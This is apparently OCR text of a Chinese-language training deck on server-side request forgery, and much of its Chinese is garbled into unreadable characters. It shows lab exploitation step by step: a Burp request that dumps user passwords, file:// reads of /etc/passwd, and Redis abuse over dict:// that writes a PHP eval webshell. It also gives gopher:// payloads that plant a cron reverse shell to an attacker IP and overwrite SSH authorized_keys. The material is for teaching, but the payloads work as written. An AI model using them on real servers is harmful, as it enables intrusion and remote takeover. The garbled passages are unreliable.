= @ storeiddg R 17 NHBIRISLAGRES, RLAGRIRIXIE

PR

=l Raw Hex Snipped Request O] n

o T U

i S R R

(]

— o T

Sec—Ch-Ua-Platform: "Windows”

Sec-Ch-Ua-Mobile: 70

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(EHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36

Content-Type: application/xml

Accept: */*

Origin: https://0a8100e40357hd518577ccd300ae001f. web—security-acadeny. net
Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer:

https://0a8100e40357bd518577ccd300ae001f. web-security—academy. net/product
?productId=3

Accept-Encoding: gzip, deflate, br

Accept-Language: zh—CN, zh;q=0.9

Priority: u=1, i

<?xml version="1.0" encoding="UTF-8”7>
{stockCheck>
<{productId>
3
</productId>

=1 O Ul = WD

Nelyes)

&A8x31; &8x20; &8x55 ; &ixde  &Hx49 ; &axdl  &Hxde ; &Hx20; &Hx53 ; &Hxd5  &Hxde &
Bxd5  &Hx43 ; &Bx54  &Hx20; &8xT75  &FxT3 ; &Hx65  &ExT2 ; &Fx6e  &Hx61 ; &Hx6d ; &
X065 &#x20; &HxTc  &HxTe  &Hx20; &Hx27 ; &Hx3a  &Hx27; &Hx20 ; &HxTc ; &ixTc ; &Hx
20;&8x70; &8x61 ; &FxT3; &ExT3 ; &8xTT; &HEx6T ; &Fx72 ; &Hx64 ; &Fx20 ; &Hx46 ; &F x5
2 &8x4f  &fxdd  &8x20; &8x75  &8xT3 ; &Hx65 : &8xT2: &HxT3:

{/storeld>

{/stockCheck>

{¥, Raw Hex plap=E4

HTTP/2 200 OK

Content-Type: text/plain: charset=utf-8
X-Frame—-Options: SAMEORIGIN
Content-Length: 100

824 units
carlos:id210k9a3vmlggOuwalkc
wiener:r17¢9th114ci90eap87j
administrator:s3bepjOleoncftkbv2lh



10.4 SSRF (RS E8imISuGIEKINIE)
= SSRF(Server-Side Request Forgery:[RZesimigKINE) 2—
MRINEEWERARRS nARIE KN — 1L E2FIE.

» —figfE T, SSRFTRRYBIREMNINNTTRLIRANER RS,
(ERRAEEHRSImARR, BB IEKESEHEIEN

SHMbRERIANERRSE)
WEB SERVER \

& . X)

ATTACKER VICTIM SERVER

NMOL

i

0|0|0
0]0]0

MO

i

o|0|0
0]0]0




SSRF v.s. CSRF

" CSRFEMIENEFIRRTIRSHANER, SSRFIEIIEMIR
St RIS MRS HIIER.

" CSRFHBIIRHTSRIFF FEESTRAUIRIE, SSRFFBERIZEMN
132 PR ST ARATIRAF.

* CSRFEITHRRISIVEL IR, SSRFEIIERISR MRS SR ek LA
FERIPIR.




SSRFJ5HIE

= SSRF FZRAHIIRE AR EE 2 T ARSS imie it 7~ ME AR SS =3 N 5K
B EURRITIRERIR B XS BB 0 s SR

umﬂﬁ»#ﬁfﬁﬁmmé B

ﬁL,y‘“,'&"'"’ http://10.100.21.3 - >

< MSRERFPDIY

MELE zswws |

EiTURLIHF S =M RE o

v B



SSRFGZ=E

s AR LABGAIRSS 25ak NN TR
= S {HisEEY
= U 134
= 1319 AP

" A LA ARSS er BN FIH T I
= Redis
= Mysq|
= ftp
= telnet



1554 SSRFHIRAZEL

= file get contents(url): JRENSEUHUIRIAR.
= BIEPMRAMES S T E/ R E X RS A ATIBIRE,

= curl exec(curlobj): HfTXIMAIcurlig<, H
s EREHPYSST, THEEEHR,

RENR

a

(B,



curl exec

s ssrifmiAPEERARIREL, BT REL, BILASEENENSU G
(file), EATLARIRAMIRO(dict/gopher), B MEEZEMHR
IHIEATRE A&XIFK (gopher),

u Curl_execBEHRZEZSZMIMIAITECS, BREANNE
= HttptiX
s FiletiiX
= DicttiX
s GophertiMX




| HTTPHMY

s EHIURLFZR, AIF@ITHTTP 1.09GETHE, LIREESES
Ha AR,

s BT ZGREEY EwebiRSZANREIE, ([ERIZIMYAYnEE
BEREERMNARIAE, ELI{RKE 7 ERENEEEERRY
KS=1L, EREENEERMIRSESERNMNIGE (EZ2ETH REE
Mlocalhostifial) , FEEEIISSRF+HTTPIMY A A i ETE
U




HTTPjm¥

" EIISSRFATURIENttpMYES, #EERARIR(TEIERY, FrlihttptiiiE
ERTAhERE, MIFRIEESHRI.

= jfia)Apache2 Debian Default Page: It works, AILABZEIER 7 FET
/var/www/htmI ~FEYapacheZAIATIH,

= {55/810.10.17.18:2000/ssrf/admin.php, ALABRIRE R ~ATCIFAE.,

Access denied!
" i5iE)
10.10.17.18:2000/ssrf/ssrf.php?url=http://127.0.0.1/ssrf/admin.php,

curl_setopt(3ch, CURLOPT_URL, § GETL url I);

| == [—y sy curl setopt($ch, CURLOPT HEADER, O0);
fIagﬂlﬁmiUﬁEJ:o curl exec($ch);

curl close($ch);
echo “done”;
>

flag{7casa091d-jh7ach9-d1cv532}done



http://10.10.17.18:2000/ssrf/ssrf.php?url=127.0.0.1
http://10.10.17.18:2000/ssrf/admin.php
http://10.10.17.18:2000/ssrf/ssrf.php?url=http://127.0.0.1/ssrf/admin.php

FILEFMN

" NIHFR GRS, fzl/afiler// SIS

= file:///etc/passwd
= file:///etc/hosts

= file:///proc/net/arp

= file:///proc/net/fib trie
" Filet i {NBERT B4

1R {4 passwd
BRI ER KN -<AYIP

E7RarpEFaR(SH MM E b=

ERIRIMERHER

=171)

® 15/8)10.10.17.18:2000/ssrf/ssrf.php?url=file:///flag, ZEER

B FaYflag>Zi4

curl_close($ch) ;
echo “done”;

flag{hth6891 3-a9dh8adh8-n91un38h} done


http://10.10.17.18:2000/ssrf/ssrf.php?url=file:///flag

| DICTinY

" dict YR —MELMEF MY, X MMERRERR— ) FH
ARSSHY.

XM ZEIZHIIRES T AR telnet SREME, HEAX MINEET
tcp MY FFERY, FRLAMG mysql/redisSEEEEENRS, BAEEE
T tep N F &, FRLAA dict #MYBYS VT H B EEE T EN—L
mysql/redis IRZBENREIRNE

® ;5[8)10.10.17.18:2000/ssrf/ssrf.php?url=dict://127.0.0.1:3306,
AT LABEIRE T mysqli—L(ER

CUr'l_exec\pcn/
curl close($ch);
echo “done”:

>

[ 5.5.5-10.11.4-MariaDB-1Nx8M\c]) T@@-0@€@00Mb%1g3e%(7}0mysql_native password!0@@0#08S01Got packets out of orderdone


http://10.10.17.18:2000/ssrf/ssrf.php?url=dict://127.0.0.1:3306

| DICTinY

o SZ YT AT IR i p AT

® DictthmiBESredisfRSB B S LUK ERIVILEHEER, thils

Awebshell

ALLOLR JONT LUl

J Results TTarget T Positions I Payloads T Options ]
Filter: Showing all items 2
Request | Payload | Status | Errer | Timeout | Length ¥ | Comment
"Target T Pro Spider T Scanner T Intruder T Repeater T Sequencer I Decoder T Comparer I Extend 15 50 200 O O 709 2
1 o« [amel ... 0 200 O O 266 N
5 22 200 g O 266
{Tﬁrget T Positions T Payloads T Options } 27 6380 200 D D 264
— 1 1 200 a O 224
(2 Payload Positions 2 2 200 O O 224
Configure the positions where payloads will be inserted into the base request. The attack type determi 3 3 200 O O 224
4 4 200 O O 224
Attack type: LSmper & 21 200 O ] 224
7 23 200 =] O 224
GET /ssrf/ssrf php?url=dict://192,168,124, 153:§228HTTR/1.1 8 25 200 O O 224
Host: 192.168.124.1 9 139 200 O =] 224
User-Agent: Mozilla/5.0 (%11 Linux xB86_64; rv:68,0) Gecko/20100101 Firefox/68.0 10 445 200 m] m] 224
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;g=0.8 11 14 . O o ama v
Accept-Language: zh, en-US;g=0.7,en;g=0.3
Accept-Encoding: gzip, deflate
Connection: close Response
Upgrade-Insecure-Requests: 1
Raw | Headers | Hex
HTTP/L. 1 200 0K A
Date: Wed, 23 Dec 2020 09:42:11 GMT
Server: Apache/2.4.23(Win32) OpensSsSL/l.0.2j mod_fcgid/2.3.9
¥-Powered-By: PHP/5.6. 27
Connection: close
Content -Type: text/html; charset=UTF-8
Content -Length: 41
N E o ALl .
7N
XEIRIR 1 6380im[1 G redis "

fR5s

et,



REDISARSS

= redis2— 1 nosql&IEE.

" Redis INAZREME: EFRR ( "AR" 4UE S5, |
5) . 1HEEs. HEBAIIRSE. HHTIE. 1T3MESFISERT RS,

ETF S iR THEEE, FRikeE EHITH, HEfT 8 S, HE
SESSION, A%

" RedisBAREFE NXHHILIEE!
s T LB dictiiaiaredisinOF 11 Tredisiis,




REDISERHm<

s 1. E'EEE: info

" 2 MMERRTEEUEEAZS: flushall

" 3RIFTEEERE : flush

s A EFTEHE: KEYS*, {#H select numa] L EE R {EEIE
s 5858 settest “whoam I"

= 6.config set dir dirpath: XEREEEE (HHXTFcd)

= 7.config get dir/filename: KBS R NREUERE(EE, H
filename NEWEESF (get dirfH=ZFpwd)

m 8.save: {%F
= 9get TE: BET=EN



DICTiMY + REDISEwebshell

s JLAE T dictiliTredisin s, BESgERA " BIE.
= Lbin, BH{Tconfig get db (GRENAIEIRER) , fEdictihiy
o, @A config:get:db

" BLinfoEEEaREExR, 110
10.10.17.18:2000/ssrf/ssrf.php?url=dict://127.0.0.1:6380/info,
TR TR IAAREER

echo “done”;

2

-ERR Syntax error, try CLIENT (LIST | KILL | GETNAME | SETNAME | PAUSE | REPLY) $2772 # Server redis_version:4.0.11 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:de91ebb35b51
redis_mode:standalone os:Linux 6.3.0-kali1-amd64 x86 64 arch_bits:64 multiplexing_api:epoll atomicvar_api:atomic-builtin gcc_version:13.1.0 process_id:29886 run_id:80507672a34043bedk
tcp_port:6380 uptime_in_seconds:61950 uptime_in_days:0 hz:10 lru_clock:5699141 executable:/var/www/html/ssrf/redis-4.0.11/src/./redis-server config file: # Clients connected clients:1 cli
client_biggest_input_buf:6 blocked clients:0 # Memory used_memory:849504 used memory_human:829.59K used_memory rss:9875456 used_ memory rss_human:9.42M used memory _pe
used_memory peak human:829.59K used_memory peak perc:108.00% used_memory overhead:836182 used_memory_startup:786480 used_memory _dataset:13322 used_memory_dataset
total_system_memory:8288669696 total_system_memory _human:7.72G used _memory_ lua:37888 used_memory lua_human:37.00K maxmemory:0 maxmemory_ human:0B maxmemory | poli
mem fragmentatlon ratio:11.62 mem aIIocatorJemaIIoc 40 3 actlve defrag running: 0 Iazyfree pendlng objects 0# Per5|stence Ioadlng 0 rdb changes 5|nce last save1 rdb bgsave in_pro


http://10.10.17.18:2000/ssrf/ssrf.php?url=dict://127.0.0.1:6380/info

DICTiMY + REDISEwebshell

= BErdb(redis database)X{4HIERZ=apacheHR T (1X#F,
FEredisiRFEMNHEERN TEER N EapacheHET)

® url=dict://127.0.0.1:6380/config:set.dir:/var/www/html/
" SRARIredisiI—LEHIBRIRBTIRERIP, EXEH, =EIZ

Try CLIENT HELP. -ERR CONFIG SET failed (possibly related to argument 'dir') - can't set protected config +

= FRLAE Awebshell RggfEredishRAN< 7B BN (BkEFAEEL
B 7 IX MR L)

ERR Syntax error, try CLIENT (LIST | KILL | GETNAME | SETNAME | PAUSE | REPLY) +OK +OK done




DICTiMY + REDISEwebshell

= Erdb3 {4 dbfilenamelils— 1 phpIZid
® url=dict://127.0.0.1:6380/config:set.dbfilename:webshell.php

url=dict://127.0.0.1:6380/config:set:dbfilename:webshell.php

B 5 \—a)15 75, TNAME | PAUSE | REPLY) +OK +OKdone
® url=dict://127.0.0.1:6380/set:xxx:"\x3c\x3f\x70\x68\x70\x20\x65\x
76\x61\x6c\x28\x24\Xx5AX50\x4f\x53\x54\x5b\x27\x63\x6d\x64\x27\
x5d\x29\x3b\x20\x3f\x3e"

= set xxx <?php eval($ POST['cmd']) ?> (IREExXxHIEA—TIEARD,
XN &= R{FEWebshell.php)

" 5fE WNEEE£10.10.17.18:2000/webshell.phpBEpa]




GOPHER1MY
" Gopher@ZInternet L— M FEBRBAEEEKERES, ©iFiInternet LY
MFHRLAREMZRS|, EAEWEAP Mnternetl—4bEIB 4L,

s FWWWHILZH], GopherEinternet EREFENEERETTE,
Gopherif RBERRFTERILR, ERtcp70imd. EEWWWEHILE,
Gopher’lk X TEHIMEE. WEEEADR, AMIELEFERE

= gopher://<host>:<port>/<gopher-path> [FZTCPEIER
= GopherFl 2R3 Eur EmAYhttpfHY

= fFgophertMYAILAEHIERER, EssrfhmAER.

= FEXFFDICTHNY, gophert{ERE



GopherIX$zRedis

s IEredisZ @85G 7 #E— FredisBIMNEUE RSN, HEEEXY
gophertm¥ FEFAIEIE A TIEAE

s HUERMSIVECR LFEERRAIFLZENr \n

1 *<ZHHE> CR LF
2 < 1 BIFETEE> CR LF
3 <Z# 1 MEdE> CR LF
4 ...
5 $<Z# N HFIFTEE> CR LF
6 <Z# N RIZE> CR LF
et oty — 7| - *
= FERIRM: |
s "4 XA config. set. dir. /var/www/html j ;:”ﬁg
= 36: FREBIMSEHEIFHERE configikE6 5 | set
6| $3
N — 1 . . I 7 dir
B TFH11T T "config set dir /var/www/html| 8 | $13
9  /var/www/html



GopherIX$zRedis

® RedisE NERESHIYEZRIEANT

m set xxx "\N\N\n*/1* * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444
0> &N\N\N\N\n"

= config set dir /var/spool/cron

= config set dbfilename root

= save

= quit
s KEURIE S AwebshellfUid 2, XEHEILFEFIHRedisEX 4
RYIOBE, [E/var/spool/cron/rootiXNHESENT — 1<, X

MY AP ERHIT

B Erhxxx XX XXX XXOIRAYENip, X8, FERNncklT1444im089
[EZE (nc-lvnp 1444) | SERETEFBEIEIRE HIEZIB K.




GopherIX$zRedis

= GopherENE#UER, EHLFER\r \ni#1T 7 urlfmis

= gopher://127.0.0.1:6379/ *3%0d%0a$%$3%0d%0aset%0d%0a$3%0d%0attt%0d%0a$69%0d%0a%0a%0a
%0a*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444

0> &1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir
%0d%0a$16%0d%0a/va r/spooI/cron/%Od%Oa*4%Od%Oa$6%Od%0aconfig%Od%Oa$3%Od%0aset%Od%Oa

%0d%0aquit%0d%0a E :t

» EE, MREKidcurl_exec, SLFMERMAHEEER SHAVE R UrISHG :

1@ */1 * * * * bash -1 >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1

) 15 | *4
L\ A 16 %6
/N |:| Ei 17 config
18 $3
19 set
28 $3
21 dir
22 $16
23 /var/spool/cron/

25 $6



gopher://127.0.0.1:6379/ *3
$3

set

$1

1

$576

gopheriXE Assh238

L Set XXX "\n\n\nid_rsa.pu b\n\n\n\n" 1© ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABEQDHSAAmMmBYRNUr{C

® config set dir /root/.ssh/ 5

= config set dbfilename authorized key

18 $3
19 set
20 %3
21  dir
. 22 %11
o qU|t 23  /root/.ssh/
24  *4
25 $6
GopherMYRIEIES Z BitEE 26 config
27 %3
28 set
29 %10
30 dbfilename
31  $15
32 authorized keys
33 %
34 $4
35  save
36 *1
37 %4
38 | quit

[+« TN o A RV R SO VY I N T

0

config

® save



Gopherus TE#iggopherip X EHE i
s FRFIMIELLERRMMN, FE—ERNKIRER, HEHgopherusix

KT E#HTE RN ERpayload. Z T ESriFEmM SRS FIB
payload, EfpEIiE T redis, mysql. fastcgiZE

s TEpki:

® https://github.com/tarunkant/Gopherus



HMysql

mysql

~kali/% @ /Gopherus-master

mysql

into

outfile




